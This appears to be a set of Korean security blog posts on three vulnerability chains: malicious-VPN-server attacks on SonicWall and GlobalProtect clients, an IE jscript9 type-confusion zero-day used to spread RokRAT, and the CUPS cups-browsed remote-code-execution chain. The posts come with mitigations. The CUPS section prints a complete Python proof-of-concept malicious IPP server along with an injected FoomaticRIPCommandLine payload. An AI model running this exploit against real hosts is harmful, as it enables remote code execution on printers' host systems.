1. 개요

- PaloAlto GlobalProtect, SonicWall NetExtender SSL-VPN 클라이언트 등에 심각한 취약점 "NachoVPN" 발견 [1][2][3]
- 공격자가 악성 VPN 서버를 통해 피해자 기기에 악성 업데이트 설치 또는 민감한 정보를 탈취할 수 있음
- 소셜 엔지니어링 기법을 활용해 사용자를 악성 VPN 서버로 유도해 익스플로잇

2. 주요내용

2.1 CVE-2024-29014

[사진 1] CVE-2024-29014 [4]

- SonicWall의 NetExtender Windows(32 및 64비트) 클라이언트에서 발생하는 임의 코드 실행 취약점
소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 EPC 클라이언트 업데이트를 전달해 시스템 권한으로 임의 코드를 실행

영향받는 버전
- NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전

 

- NetExtender 클라이언트는 SSL-VPN 서버에 연결하는 동안 서버에 EPC 클라이언트 업데이트가 있는지 확인하기 위한 요청 전송
> GET /cgi-bin/sslvpnclient?epcversionquery=nxw
> 서버는 버전 번호로 판단되는 값으로 응답
> 응답이 0xFF인 경우 클라이언트는 /NACAgent.exe에 대한 GET 요청을 전송

 

- NECore.dll의 ValidateSignature()에서 해당 파일이 다운로드되고 유효성을 검증

> 해당 함수는 WINTRUST_ACTION_GENERIC_VERIFY_V2 작업을 사용해 WinVerifyTrust 호출 (실행 파일에 포함된 Authenticode 서명 검증 과정)
> 그러나 실행 파일의 서명이 신뢰할 수 있는 CA와 연결되는지만 확인하며, 특정 게시자(Microsoft, Adobe, Oracle 등)에 의해 서명되었는지 확인하지 않음

> 따라서 시스템에서 신뢰하는 코드 서명 인증서로 실행 파일을 서명만 하게되면 서명 검사를 통과할 수 있음

※ 다운로드한 NACAgent.exe는 SYSTEM으로 실행되는 NEService.exe의 자식 프로세스로 실행

 

[사진 2] ValidateSignature()

- sonicwallconnectagent 사용자 정의 URI 핸들러는 SMA Connect 에이전트에 의해 Windows 레지스트리에 등록

> 핸들러는 클라이언트가 연결해야하는 서버를 지정하는 Base64로 인코딩된 JSON 개체가 포함
따라서 공격자는 host 값을 악의적인 SSL-VPN 서버의 IP를 가리키도록 sonicwallconnectagent:// URL을 제작하면 취약점 악용 가능

 

[사진 3] 레지스트리

[사용자 정의 URI 핸들러 예시]
sonicwallconnectagent://eyJhY3Rpb24iOjEwLCJoZWxwZXJ2ZXJzaW9uIjoiMS4xLjQyIiwiaG9zdCI6IjE3Mi4xNy4xMjguMSIsInBvcnQiOiI0NDMiLCJ1c2VybmFtZSI6InVzZXIiLCJleHRlbmRpZCI6IkV0UUJ2MFp3elY0OGsxRVpaQ3JMU3ZwOGJLcFh4NFRCcGVISmlmOVUxczQ9In0

[디코딩]
{ action: 10, helperversion: "1.1.42", host: "172.17.128.1", port: "443", username: "user", extendid: "EtQBv0ZwzV48k1EZZCrLSvp8bKpXx4TBpeHJif9U1s4=" }

 

- 사용자가 조작된 페이지를 방문하면 악성 SSL-VPN 서버에 연결 및 서명된 악성 NACAgent.exe 실행
> NetExtender 클라이언트에 EPC 에이전트 업데이트 필요 메시지가 표시되며, 무시 또는 확인을 누를 경우 악성 NACAgent.exe 파일이 시스템 권한으로 실행됨

 

[사진 4] 악성 SSL-VPN 접속

[영상 1] 공격 시연 [5]

2.2 CVE-2024-5921

[사진 5] CVE-2024-5921 [6]

- PaloAlto Networks GlobalProtect 앱의 불충분한 인증 유효성 검사로 임의의 서버에 연결할 수 있는 취약점
> 소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 업데이트를 전달해 시스템 권한으로 임의 코드를 실행

영향받는 버전
- GlobalProtect 6.2.6 이전 버전

 

- 클라이언트-서버간 인증 과정 중 클라이언트는 POST 메소드로 서버에 자격 증명을 전송
> 서버는 XML 정책 객체로 포맷된 구성 데이터로 응답

 

- GlobalProtect 클라이언트는 기본적으로 응답을 신뢰
> 유일한 검증은 서버가 해당 도메인에 대한 유효한 TLS 인증서를 가지는지 확인하고 제공된 자격증명을 수락하는 것
익스플로잇에서 root-ca, version, uninstall, client-upgrade 요소가 중요

구분 설명
root-ca - 클라이언트에 제공된 인증서를 신뢰할 수 있는 인증서 저장소에 설치하도록 지시
- GlobalProtect 게이트웨이의 IP 주소가 클라이언트가 신뢰하는 TLS 인증서를 사용할 수 있도록 하기위함
- 공격자는 인증서가 주장하는 모든 목적을 위해 컴퓨터가 완전히 신뢰하는 인증서를 설치할 수 있음 (MITM이 발생해 데이터 탈취 또는 악성 SW 서명 및 실행이 가능)
version - 클라이언트에 반환된 version 태그는 업데이트 요청이 트리커되는지 여부를 결정
- 값이 클라이언트에 현재 설치된 버전보다 높은 경우 연결 성공 시 업데이트를 요청
- Portal 인증 응답의 version 태그가 현재 설치된 버전보다 높은 경우
> 클라이언트는 Portal에 업데이트를 요청
> 서버는 클라이언트의 OS와 아키텍처에 맞는 적절한 설치 프로그램으로 302 응답
uninstall - 업그레이드가 관리되는 방식을 설정
> Allow with Prompt (Default) : 새 버전이 확인될 경우 업데이트 메시지 표시
> Allow Transparently : 사용자 상호 작용 없이 자동으로 업데이트 발생
> Internal : 사용자가 내부 네트워크에서 연결되어 있는 경우에만 사용자 상호 작용 없이 업그레이드되며, 내부 GW와 내부 호스트 감지를 구성해야 함 (외부 네트워크에서 연결된 경우 업그레이드 연기)
> Disallow : 업데이트 차단
> Allow Manually : "버전 확인"을 선택해 세 버전이 있는 경우 사용자 판단하 수동 업데이트 적용
client-upgrade - transparent로 설정된 경우 사용자 위치와 동의와 관계없이 자동 업데이트

 

[사진 6] 응답 예시

 

- 공격 성공 조건과 성공 시 가능한 악성 행위는 다음과 같음

구분 설명
공격 성공 조건 - 서버 인증서 : 공인 인증 기관에서 서명한 포털용 인증서
- 사용자 지정 루트 인증 기관(CA) : 로컬에서 생성된 CA PEM 파일이 클라이언트에 제공되어 신뢰할 수 있는 인증서 저장소에 설치
- 코드 서명 인증서 : 사용자 지정 CA가 악성 MSI에 서명하기 위해 서명한 인증서
성공 시 가능한 악성 행위 - 자격 증명 공개 : 사용자가 입력한 인증 세부 정보 수집
- 사기성 루트 인증 기관 설치 : 중간자 공격(MITM)이나 코드 서명과 같은 추가 공격이 가능
- 라우팅 구성 조작 : 네트워크 트래픽을 제어하기 위해 악의적인 라우팅 설정
- 악성 업데이트 요청 : 신뢰할 수 있는 기관에서 서명한 MSI를 가져와서 실행하도록 클라이언트를 트리거

 

[영상 2] Windows 환경 공격 시연 [7]
[영상 3] macOS 환경 공격 시연 [8]

3. 대응방안

- 벤더사 제공 업데이트 적용 [9][10]

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-29014 NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전 10.2.341 및 이후 버전
CVE-2024-5921 GlobalProtect 6.2.6 이전 버전 6.2.6
(또는 VPN 클라이언트를 FIPS-CC 모드에서 실행)

 

- NachoVPN 툴 활용 [11]

> 개념 증명용 오픈소스 기반 도구로, 악성 VPN 서버를 시뮬레이션할 수 있음

> Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, Ivanti Connect Secure 등의 VPN 제품 지원

 

- 권고사항

> SSL-VPN 클라이언트를 최신 버전으로 업데이트

> 호스트 기반 방화벽 규칙을 사용해 VPN 클라이언트가 통신할 수 있는 IP 제한

> WDAC, EDR 등을 사용해 VPN 클라이언트가 승인된 실행 파일과 스크립트만 실행할 수 있도록 설정

> 소셜 엔지니어링 공격 관련 사용자 교육

> 다중 인증 적용 등

4. 참고

[1] https://blog.amberwolf.com/blog/2024/november/introducing-nachovpn---one-vpn-server-to-pwn-them-all/
[2] https://blog.amberwolf.com/blog/2024/november/sonicwall-netextender-for-windows---rce-as-system-via-epc-client-update-cve-2024-29014/
[3] https://blog.amberwolf.com/blog/2024/november/palo-alto-globalprotect---code-execution-and-privilege-escalation-via-malicious-vpn-server-cve-2024-5921/
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-29014
[5] https://vimeo.com/1024774407
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-5921
[7] https://vimeo.com/1024774239
[8] https://vimeo.com/1024773987
[9] https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0011
[10] https://security.paloaltonetworks.com/CVE-2024-5921
[11] https://github.com/AmberWolfCyber/NachoVPN
[12] https://www.dailysecu.com/news/articleView.html?idxno=161574

1. 개요

- 24.05 무료 S/W의 팝업(Toast) 광고 프로그램을 악용한 TA- RedAnt의 대규모 공격이 탐지 [1]
- IE의 자바스크립트 엔진(jscript9.dll)에 존재하는 제로데이 취약점 악용
- 22년 악용한 IE의 Type Confusion 취약점(CVE-2022-41128)에 간단한 코드를 추가하여 보안 패치를 우회

 

1.1 Chakra

- MS에서 제작한 웹 브라우저의 자바스크립트 엔진
> 웹 브라우저는 HTML, CSS, JavaScript 등의 언어로 작성코드를 사람이 읽을 수 있는 문서로 출력하는 프로그램
> 웹 브라우저에서 자바스크립트 코드를 해석하고 실행하는 역할을 수행

구분 이름
IE 11.0 이하 버전 legacy Chakra engine(jscript9.dll)
Edge Legacy 브라우저 new Chakra engine or Edge engine(Chakra.dll)

1.1.1 동작 과정

- 웹 브라우저에서는 JavaScript의 동작을 위해 자체 엔진을 포함하고 있으며, 빠른 실행을 위해 JIT(Just-In-Time) Compilation 방식을 사용
- MS Chakra에서 JavaScript로 작성된 코드가 실행되는 과정

구분 설명
Parsing 소스코드를 파싱하여 Abstract Syntax Tree(AST)를 생성
※ Abstract Syntax Tree(AST) : 소스코드의 구조를 트리 형태로 나타낸 자료구조
Interpreting - AST는 바이트코드(Bytecode)로 변환되어 인터프리터에 의해 실행
- 실행 중인 함수의 데이터 유형 및 호출 횟수와 같은 정보를 분석해 함수의 프로파일을 생성
Compilation - 생성된 프로파일을 바탕으로 최적화된 기계코드인 JIT’ed code 생성
※ 인터프리터에서 여러 번 호출되는 코드가 탐지되면 바이트코드를 실행하는 대신 JIT’ed code를 실행해 프로그램 동작 속도를 향상 시킴

 

- JavaScript엔진에서는 여러 번 호출되는 코드를 따로 관리

구분 설명
Hot - 자주 반복되는 코드
- 코드가 Hot으로 탐지되면 엔진은 해당 코드를 스텁코드(Stub Code)로 변환
- 이후 바이트코드를 실행하지 않고 미리 생성한 스텁코드를 사용하여 실행 속도를 향상
Warm 덜 자주 반복되는 코드

 

1.2 Toast 광고

- 다양한 무료 S/W와 함께 설치되어 동작
> 실행 시 광고서버로부터 광고 컨텐츠를 다운받아 PC 화면 우측 하단에 광고창 표시
> 서버는 광고 컨텐츠가 포함된 HTML과 JavaScript로 응답
> Toast 광고 프로그램은 응답값을 IE 브라우저 또는 IE 관련 모듈로 랜더링하여 팝업 광고창을 띄움

2. 주요내용

2.1 CVE-2024-38178

[사진 1] CVE-2024-38178 [2]

- Windows Scripting Engine에서 발생하는 Type Confusion 취약점으로 메모리 손상을 유발해 원격 명령 실행을 가능하게 함
> jscript9.dll에서 발생하는 Type Confusion 취약점

※ Type Confusion 취약점 : 프로그램에서 사용하는 변수나 객체를 선언 혹은 초기화되었을 때와 다른 타입으로 사용할 때 발생하는 취약점

스텁코드는 Type Confusion 문제가 발생할 수 있음
- 매개변수로 정수형 변수를 입력받는 함수가 있으며, 메인에서 100번 호출된다고 가정
> 엔진에서는 Hot으로 간주하여 정수형 변수를 전달받는 스텁코드로 변환
> 그 결과, 해당 변수의 데이터 유형을 정수로 예측
> 이 때, 매개변수를 정수가 아닌 다른 데이터 유형으로 전달할 경우 Type Confusion 발생

 

2.2 상세분석

[사진 2] iframe이 삽입된 HTML

- 해커는 국내 광고 대행사 중 한 업체의 광고 서버를 해킹
Toast 광고 프로그램에 전달되는 HTML 코드에 iframe을 삽입하여 경유지를 통해 JavaScript가 로드 되도록 변조
> 해당 JavaScript 파일명은 ad_toast이며 IE(JScript9.dll)의 RCE 취약점이 발현되는 코드가 삽입
> 피해자 PC에 설치된 Toast 광고 프로그램은 취약점 코드를 받아 랜더링하는 과정에서 Exploit 및 해커의 쉘 코드로 실행 흐름이 바뀜

 

[사진 3] CVE-2024-38178 Exploit

- 해커는 과거 악용했던 CVE-2022-41128(Windows 스크립트 언어 RCE [4]) Exploit 코드에 단 3줄을 추가해 기존 패치 우회

ex_func(false, false)를 반복 호출하여 JIT 컴파일러의 최적화 오류를 유도한 뒤 인자를 true로 바꿔 호출

 

- "q=g" 연산으로 Type Confusion 발생 

> 정수 배열로 초기화된 변수 q에 변수 g가 가리키는 데이터를 참조하면 변수 q의 Type이 Object로 변경
> 하지만, JIT 컴파일러의 최적화 오류로 인해 Type을 계속해서 정수 배열로 판단

 

이후 q[4], q[11], q[12]의 값을 0x1FFFFFFF로 변경

> 변경하는 이유는 해당 값이 배열 av의 Type(Js::JavascriptNativeIntArray)과 관련
> 변경한 값은 순서대로 배열 av의 Array Length, Array Actual Length, Buffer Length 항목
> 배열의 길이를 조작하면 Object Dataview를 사용하여 임의의 메모리 영역에 대한 읽기 및 쓰기가 가능하게 되어 임의 코드를 실행할 수 있음

※ JIT 컴파일러의 배열 최적화 과정에서 초기화된 변수로 착각하게 만드는 방법을 이용해 CVE-2022-41128의 패치를 우회

 

[사진 4] 패치

- 해당 취약점은 MS 8월 보안업데이트에서 패치 [4]

> wil::details::FeatureImpl<_ _WilFeatureTraits_Feature_1489045819>::_ _private_ IsEnabled(&`wil::Feature<_ _WilFeatureTraits_Feature_1489045819>::GetImpl’::`2 ’::impl); 함수가 추가
> 해당 함수의 결과 값에 따라 변수 초기화 여부를 검증하는 분기로 진입
> 진입 후 ValueType 클래스에서 정의된 연산자를 통해 두 개의 정수형 값 비교 과정 추가
> 두 Type을 비교해 값이 다를 경우 SetValueType 함수를 호출하여 Type을 일치시키는 추가적인 과정이 수행

 

2.3 악성코드 유포

- 과거부터 꾸준히 사용해온 RokRAT 악성코드를 유포하며 공격 흐름은 아래와 같음
> Ruby를 사용하여 악성 행위 지속성 확보 및 상용 클라우드 서버를 통해 명령제어를 수행

실행 단계 설명
1차 악성코드(43) 다운로드 및
explorer.exe에 인젝션
실행 PC의 파일·프로세스를 확인하여 분석 환경인지 탐지
> 악성코드 43은 첫 1바이트로 XOR 후 실행되는 쉘코드
> 분석 환경이 아니라고 판단되면 경유지에 접속해 2차 악성코드 다운 및 실행
2차 악성코드(23) 다운로드 및 실행 컴퓨터 이름 등 시스템 정보를 수집하고 추가 감염 여부 선별
> 악성코드 23은 첫 1바이트로 XOR 후 In-Memory로 실행되는 PE 형태
> 시스템 정보를 경유지로 전송하고, 응답에 따라 3차 악성코드 다운 및 실행
3차 악성코드(move) 다운로드 및 실행 후
추가 파일 다운로드
악성 스크립트를 삽입한 ruby standalone 드롭 및 악성 행위 지속성 확보
> 악성코드 move는 첫 1바이트로 XOR 후 In-Memory로 실행되는 PE 형태
> 2차 경유지는 원드라이브 1개와 국내 정상 사이트 2개가 악성코드 내부에 하드코딩
> 지속성 확보를 위해 자동실행 되도록 설정 (주기적 실행 또는 PC 부팅 시 실행)
system32 폴더 내 exe 무작위 선택 후
실행 및 인젝션
PC에 설치된 백신(AVAST·SYMANTEC)을 확인하여 다르게 동작
> 현재 실행중인 프로세스 명에 "UBY"가 있는지 확인 후 설치된 백신에 따라 동작 결정
> AVAST·SYMANTEC : 현재 프로세스에서 In-Memory 방식으로 실행
> 그 외 백신 : system32 폴더에 있는 랜덤 EXE에 인젝션하여 실행
system32 폴더 내 exe 무작위 선택 후
실행 및 인젝션
PC에 설치된 백신(AVAST·SYMANTEC)을 확인하여 다르게 동작
> 프로세스의 자체 종료를 막기 위해 ExitProcess 함수를 후킹 및 함수 인자 및 설치된 백신에 따라 동작 결정
> 인자가 0xAC가 아닐 경우 대기 상태, 0xAC일 경우 후킹을 복원
> AVAST·SYMANTEC : rubyw. exe를 재실행
> 그 외 백신 : system32 폴더에 있는 랜덤 EXE에 인젝션하여 실행
In-Memory로 RokRAT 실행 상용 클라우드(얀덱스 등)를 경유지로 명령제어를 수행하여 PC 정보 절취
> 윈도우 프로시저에서 수신되는 메시지를 기반으로 해당 핸들러에서 악성 행위를 수행

 

구분 MD5
ad_toast e11bb2478930d0b5f6c473464f2a2B6e
43 b9d4702c1b72659f486259520f48b483
23 b18a8ea838b6760f4857843cafe5717d
MOVE da2a5353400bd5f47178cd7dae7879c5
ban04.bak(top_08.bak,content) bd2d599ab51f9068d8c8eccadaca103d
operating_system.rb 감염 PC마다 다름
1차 로더
2차 로더
RokRAT

 

2.4 결론

- MS는 22.06 IE 지원 종료 발표 및 최신 Window OS는 IE가 웹 브라우저로 사용되는 것을 제한하는 등의 조치
> 과거에 비해 워터링홀 공격의 가능성은 희박해짐
> 그러나, 일부 Window 어플리케이션들은 IE를 내장하거나 관련 모듈을 사용해 공격 벡터로 악용될 수 있음
> OS 및 SW 등의 보안 업데이트를 준수하고, 제조사들은 제품 개발 시 보안에 취약한 개발 라이브러리 및 모듈 등이 사용되지 않도록 주의 필요

3. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=164037&menuNo=020000&subMenuNo=020200&thirdMenuNo=
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-38178
[3] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=ms&menuNo=205020&pageIndex=1&categoryCode=&nttId=71524
[4] https://nvd.nist.gov/vuln/detail/CVE-2022-41128
[5] https://www.scworld.com/brief/windows-zero-day-leveraged-for-rokrat-malware-delivery
[6] https://thehackernews.com/2024/10/north-korean-scarcruft-exploits-windows.html
[7] https://thehackernews.com/2024/08/microsoft-issues-patches-for-90-flaws.html
[8] https://www.scworld.com/news/microsoft-patches-9-zero-days-6-exploited-in-the-wild
[9] https://www.boannews.com/media/view.asp?idx=132049
[10] https://www.dailysecu.com/news/articleView.html?idxno=160314
[11] https://www.boannews.com/media/view.asp?idx=133660

1. CUPS(Common Unix Printing System) [1]

- 유닉스 계열 표준 인쇄 시스템

- CUPS는 0.0.0.0:631(UDP)에서 수신 대기중

>  IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미

[사진 1] netstat -anu

- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌

> root로 실행

> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음

[사진 2] cups-browsed

2.취약점 [2]

- CUPS의 cups-browsed 데몬에서 발생하는 취약점

> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음

 

- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]

> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생
> 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성
> 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발

[사진 3] Shodan title:"CUPS" 검색 결과

서비스명 영향받는 버전
cups-browsed 2.0.1 이하
libcupsfilters 2.1b1 이하
libppd 2.1b1 이하
cups-filters 2.0.1 이하

 

2.1 주요내용

2.1.1 CVE-2024-47176

- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)

> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷 전송

> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨

0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever

[사진 4] CVE-2024-47176 [4]

2.1.2 CVE-2024-47076

- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송

> libcupsfilters.cfGetPrinterAttributes()반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성

※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수
※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함

[사진 5] CVE-2024-47076 [5]

2.1.3 CVE-2024-47175

- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입

> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 ​​데이터를 PPD 파일에 주입할 수 있음

*FoomaticRIPCommandLine : "echo 1 > /tmp /PWNED" // 명령 줄 삽입
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip // CUPS가 /usr /lib/cups/filter/foomatic -rip(FoomaticRIPCommandLine 사용)을 실행하도록 지시

[사진 6] CVE-2024-47175 [6]

2.1.4 CVE-2024-47177

- cups-filters.foomatic-rip은 FoomaticRIPCommandLine 지시문을 통해 임의의 명령 실행을 허용

> foomatic-rip 필터는 FoomaticRIPCommandLine 지시문을 통해 임의의 명령을 실행할 수 있으며, 관련 취약점(CVE-2011-2697, CVE-2011-2964)이 존재하지만 2011년 이후 패치되지 않음

※ CUPS 개발자 문의 결과 수정이 매우 어렵고, Foomatic을 통해서만 지원되는 오래된 프린터 모델이 있기 때문으로 답변 받음

※ cups-filters: CUPS 2.x가 Mac OS가 아닌 시스템에서 사용할 수 있는 백엔드, 필터 및 기타 소프트웨어를 제공

[사진 7] CVE-2024-47177 [7]
[사진 8] 취약점 요약 [8]

2.2 PoC [9]

- 공격자가 제어하는 IPP 서버 정보(def send_browsed_packet) 및 FoomaticRIPCommandLine 지시문을 통한 원격 명령 실행(def printer_list_attributes)

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

 

[영상 1] 시연 영상

3. 대응방안

- 아직까지 취약점이 해결된 버전이 배포되지 않음 [10]

① CUPS 실행 여부 및 패키지 버전 확인

 ⒜ $ sudo systemctl status cups-browsed

   > 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음

   > 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우
 ⒝ dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'

   > CUPS 관련 패키지들의 설치 여부와 버전 정보를 확인하는 명령

 

② cups-browsed 서비스 비활성화 (사용하지 않을 경우)

> $ sudo systemctl stop cups-browsed; sudo systemctl disable cups-browsed

> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정

 

③ 방화벽 설정 강화

> $ sudo ufw deny proto udp from any to any port 631

 

④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]

 ⒜ 동작 과정

   > 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음)
   > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성
   > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송
   > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다. 

 ⒝ 결과

   > 스캔 결과는 총 2개의 Log에 기록

   > cups.log_응답한 장치의 IP&CUOS 버전 정보 기록

   > requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록

#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer


# a simple function to enable easy changing of the timestamp format
def timestamp():
    return time.strftime("%Y-%m-%d %H:%M:%S")


# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
    # replace default access log behavior (logging to stderr) with logging to access.log
    # log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
    def log_message(self, _format, *_args):
        log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
                   f'{self.headers["User-Agent"]}\n'
        self.server.access_log.write(log_line)
        self.server.access_log.flush()

    # log raw requests from cups-browsed instances including POST data
    def log_raw_request(self):
        # rebuild the raw HTTP request and log it to requests.log for debugging purposes
        raw_request = f'[{timestamp()}]\n'
        raw_request += f'{self.requestline}\r\n'
        raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())

        content_length = int(self.headers.get('Content-Length', 0))
        if content_length > 0:
            raw_body = self.rfile.read(content_length)
            self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
        else:
